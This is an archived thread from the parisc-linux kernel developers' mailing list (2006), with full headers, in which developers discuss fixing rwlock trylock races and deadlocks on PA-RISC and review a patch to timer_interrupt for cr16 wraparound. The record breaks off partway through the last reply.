	by free.linux.hp.com (Postfix) with ESMTP id D1F797D836;
	Thu, 31 Aug 2006 07:01:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6887D7D834
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 07:01:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27299-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 07:01:34 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 306667D833
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 07:01:34 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k7VD1kRS020243
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 06:01:46 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [65.41.64.85] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id IG50oKB2
	authenticated by SMTP; Thu, 31 Aug 2006 06:01:44 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <20060831123135.GC4919@parisc-linux.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gOXDcBsyRkkeaauPfGRq6ftmdWkvKFPW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23939

On Thu August 31 2006 07:31, Matthew Wilcox wrote:
> 
> Better ideas, anyone?
> 

better? not sure, but one thing I am looking at using is
tri-state locks, defined as:

0 == Busy, change in process
&lock == Locked
other == Unlocked

Since that can be done with load&clear and the information
already on hand in the registers.

That is also compatible with the single-linked, bi-directional
lists of requesters - I.E: the values and the lock are also
the head (or tail) of the list. (race free)

No actual code to offer at this time.

Not my idea, took it from one of the references mentioned
in my pa-risc synchronization constructs write-up.

Hmmm...
That might be usable (the tri-state logic) in dealing with
a wrapping timer cr16 also.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some more questions about __raw_write_trylock()
	hppa implementation
Date: Thu, 31 Aug 2006 07:13:40 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20060831131340.GD4919@parisc-linux.org>
References: <44F5F3CB.30806@scarlet.be> <20060831060637.GF3999@colo.lackof.org>
	<20060831123135.GC4919@parisc-linux.org>
	<200608310801.30580.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624168 20816 80.91.229.3 (22 Nov 2014 02:42:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@morethan.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2006 13:13:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 31 Aug 2006 15:13:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ACADF7D82F;
	Thu, 31 Aug 2006 07:13:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27940-04; Thu, 31 Aug 2006 07:13:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F22197D832;
	Thu, 31 Aug 2006 07:13:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0A0F7D827
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 07:13:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27940-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 07:13:41 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 7CD567D825
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 07:13:41 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 333A8494003; Thu, 31 Aug 2006 07:13:41 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200608310801.30580.mszick@morethan.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wKS8Axkfa2A7W7vDOHQyAJIyOWhhaodi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23940

On Thu, Aug 31, 2006 at 08:01:30AM -0500, Michael S. Zick wrote:
> better? not sure, but one thing I am looking at using is
> tri-state locks, defined as:
> 
> 0 == Busy, change in process
> &lock == Locked
> other == Unlocked
> 
> Since that can be done with load&clear and the information
> already on hand in the registers.

Yep, although I don't think that actually saves us from the
reader-interrupted-write-lock problem.  The first thing the writer does
is ldcw, then if it's interrupted, the reader-in-interrupt-context can't
tell if it's a heavily contended read-lock (which would eventually
work), or if it's interrupted a write lock attempt.

One thing we could do is limit the number of times we retry.

Hmm, I just thought.  If we interrupted a writer trying to acquire the
lock, the writer was about to successfully acquire the lock.  But we
interrupted them, so they can't be running.  And nobody else can acquire
the lock because the attempting writer holds the spinlock.  So the
reader in interrupt context can be deemed to have successfully acquired
the lock.  Now ... how do we handle releasing that lock, given that it
can't acquire the spinlock ...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some more questions about __raw_write_trylock()
	hppa implementation
Date: Thu, 31 Aug 2006 10:08:44 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <20060831160844.GA16032@colo.lackof.org>
References: <44F5F3CB.30806@scarlet.be> <20060831060637.GF3999@colo.lackof.org>
	<20060831123135.GC4919@parisc-linux.org>
	<200608310801.30580.mszick@morethan.org>
	<20060831131340.GD4919@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624168 20818 80.91.229.3 (22 Nov 2014 02:42:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2006 16:09:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 31 Aug 2006 18:09:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 003067D877;
	Thu, 31 Aug 2006 10:08:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31983-03; Thu, 31 Aug 2006 10:08:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32C917D8B0;
	Thu, 31 Aug 2006 10:08:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 029437D862
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 10:08:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31205-10 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 10:08:46 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id C8D957D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 10:08:46 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 33A9D3680E6;
	Thu, 31 Aug 2006 10:08:46 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16073-03; Thu, 31 Aug 2006 10:08:44 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D55563680DB; Thu, 31 Aug 2006 10:08:44 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060831131340.GD4919@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rnPCLDkSZDI4DLHGdWY2zV9xemhmY8F2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23941

On Thu, Aug 31, 2006 at 07:13:40AM -0600, Matthew Wilcox wrote:
> One thing we could do is limit the number of times we retry.

Yes, we have to or we face a variant of deadlock.

> Hmm, I just thought.  If we interrupted a writer trying to acquire the
> lock, the writer was about to successfully acquire the lock.  But we
> interrupted them, so they can't be running.  And nobody else can acquire
> the lock because the attempting writer holds the spinlock.  So the
> reader in interrupt context can be deemed to have successfully acquired
> the lock.  Now ... how do we handle releasing that lock, given that it
> can't acquire the spinlock ...

nononono...please don't go there. It's complicated enough already.
Adding more code just makes it slower and harder to maintain.
I'd much rather block interrupts in the writer code path as
proposed in your previous email.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some more questions about __raw_write_trylock()
	hppa implementation
Date: Thu, 31 Aug 2006 10:27:40 -0600
Lines: 95
Approved: news@gmane.org
Message-ID: <20060831162740.GB16032@colo.lackof.org>
References: <44F5F3CB.30806@scarlet.be>
	<20060831035932.GB4919@parisc-linux.org>
	<20060831060637.GF3999@colo.lackof.org>
	<20060831123135.GC4919@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624169 20821 80.91.229.3 (22 Nov 2014 02:42:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2006 16:27:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx078) with SMTP; 31 Aug 2006 18:27:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B52E97D747;
	Thu, 31 Aug 2006 10:27:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32279-06; Thu, 31 Aug 2006 10:27:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D1737D748;
	Thu, 31 Aug 2006 10:27:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D26107D745
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 10:27:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32125-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 10:27:41 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 8C8477D742
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 10:27:41 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 31B413680E6;
	Thu, 31 Aug 2006 10:27:41 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17695-07; Thu, 31 Aug 2006 10:27:40 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id AFDB83680DB; Thu, 31 Aug 2006 10:27:40 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060831123135.GC4919@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IjjCdSYQbUkoDenGPWgn7TlkZ2hlNwrP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23942

On Thu, Aug 31, 2006 at 06:31:35AM -0600, Matthew Wilcox wrote:
> On Thu, Aug 31, 2006 at 12:06:37AM -0600, Grant Grundler wrote:
> > Here's the patch I ended up with.
> > Diff is also parked on gsyprf11:~grundler/diff-2.6.18-rc4-pa4-rwlocks-01
> > 
> > +static  __inline__ int __raw_read_trylock(raw_rwlock_t *rw)
> > +{
> > +	if (!__raw_spin_trylock(&rw->lock))
> > +		return 0;
> >  
> > +	rw->counter++;
> >  	__raw_spin_unlock(&rw->lock);
> > +	return 1;
> >  }
> 
> This has the false failure problem.  ie if another CPU is doing a
> read_lock() at the same time, it will fail to acquire the lock, even
> though it would succeed if it tried again.  I don't know if we have any
> code which depends upon that not failing, but it does seem a bit
> suboptimal.

trylock() variants are expected to fail some of the time.
But I agree readers should never fail because of another reader.
I guess we have to implement some number of retries (less than 5?).

> Fixing this is somewhat Hard.  My original suggestion was this:
> 
> retry:
> 	if (__raw_spin_trylock(&rw->lock)) {
> 		rw->counter++;
> 		__raw_spin_unlock(&rw->lock);
> 		return 1;
> 	} else if (rw->counter < 0) {
> 		return 0;
> 	} else {
> 		goto retry;
> 	}
> 
> But this leads to deadlock if called from interrupt context and the CPU
> had got to:
> 
> static  __inline__ void __raw_write_lock(raw_rwlock_t *rw)
> {
> retry:
>         __raw_spin_lock(&rw->lock);
> 
> <<<- here
> 
> and hadn't set counter to -1.

Drop the "if (rw->counter < 0)" test and we won't have a deadlock.
But your next idea on fixing that sounds good to me for other reasons.

> Now, we can fix that:
> 
> static  __inline__ void __raw_write_lock(raw_rwlock_t *rw)
> {
> 	unsigned long flags;
> retry:
> 	local_irq_save(flags);
>         __raw_spin_lock(&rw->lock);
...

I'm thinking we want to block interrupts here anyway to make sure
the writer gets done and releases the spinlock.

I'm also wondering if the writer code paths need to include "mb()"
to prevent the compiler and/or other back-end optimizers from
re-organizing the instruction stream and "leaking" other code
before "counter = -1" is set. James Bottomley already
fixed our regular spinlocks for this problem once before.

> A similar change has to be made to __raw_write_trylock too:

*nod*

> Better ideas, anyone?
> (And perhaps more importantly, anyone spot any holes in my reasoning?

Nope and nope.

> I'm not too happy disabling interrupts *after* disabling preemption.
> And of course, we disable interrupts twice when called with
> write_lock_irq.)

yup.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Thu, 31 Aug 2006 14:52:44 -0400
Lines: 285
Approved: news@gmane.org
Message-ID: <119aab440608311152m28ef65f6ud3db46b12c59d3@mail.gmail.com>
References: <119aab440608292148s4ee3ffb0xaac62a74c0f1403b@mail.gmail.com>
	<20060831065327.GG3999@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624169 20827 80.91.229.3 (22 Nov 2014 02:42:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:49 +0000 (UTC)
Cc: willy@debian.org,
 James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2006 18:52:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 31 Aug 2006 20:52:54 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 771A97D85E;
	Thu, 31 Aug 2006 12:52:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01950-05; Thu, 31 Aug 2006 12:52:51 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C204C7D88C;
	Thu, 31 Aug 2006 12:52:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA8FA7D85B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 12:52:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01950-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 12:52:45 -0600 (MDT)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.228])
	by free.linux.hp.com (Postfix) with ESMTP id 7C9047D85A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 12:52:45 -0600 (MDT)
Original-Received: by wx-out-0506.google.com with SMTP id h31so795465wxd
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 11:52:44 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=sVAssEAAKqOwxsA9IWM35W6XEvY19441wZd1Fnhoa0i0nLSuIn/i7Cyz+qZJCBMISYmgXiXTGF3CgS+CRCwSerLdZj+3wWuR/qZ8Yk05m1igUsHOgFMTb03VbMrUbZ+u/VNDjWfG0A/Ag7Jj1Uwwum7gbxAkCYqNstLe41wDH6A=
Original-Received: by 10.90.117.11 with SMTP id p11mr294730agc;
	Thu, 31 Aug 2006 11:52:44 -0700 (PDT)
Original-Received: by 10.90.54.16 with HTTP; Thu, 31 Aug 2006 11:52:44 -0700 (PDT)
In-Reply-To: <20060831065327.GG3999@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: 4b11fdc90b9d9cff
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OkrCLDsSZDI4DLHGdWY2i9dxemhmYwHk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23943

On 8/31/06, Grant Grundler <grundler@parisc-linux.org> wrote:
> > 1. cr16 is treated as signed.
>
> This was by design. Paul Bame (IIRC) wrote this code and
> while I was never that comfortable with it, I could never
> find anything wrong with it either. Randolph Chung and I
> stared at timer_interrupt() _alot_.

It's twice as smart as I am, therefore I am four times too dumb to
maintain this code. My aim was ti simplify this code, because when the
new timer infrastructure goes into place it will be crucial that we
handle the wrapping right.

> > 2. No attempt is made to handle cr16 wrapping.
>
> The signed math was supposed to handle it.
> I believe it did but forgot details since looking at
> it a few years ago.

That is *even* worse, signed arithmetic overflow is compiler
implementation dependant. It's also therefore not very nice C code.
The overflow case is in the middle of the 32-bit range now, where you
had a very large positive number which wraps to a very large negative
number. The gap is almost the entire 32-bit range, or 27 seconds on a
160Mhz box as we have shown already.

> I personally prefer to NOT use signed math in this case.
> But that's honestly not a great reason to change this code.
> I'd really prefer some evidence the kernel code is wrong.

I agree, this patch was an attempt to provide an alternate
implementation that made sense and was maintainer friendly. I believe
we should be able to get this working better and handle the failures
seen on the slower boxes.

> And I've hacked your version some more.
> diff is below.

Thanks.

> I've included your changes to gettimeoffset() in my patch below
> and will review those next.

Ok.

> And something is certainly wrong with my version of the code.
> It seems to be running the system clock at ~ 1/2 speed now. :)
>
> odine:~# while : ; do sleep 10 ; ntpdate pool.ntp.org ; done
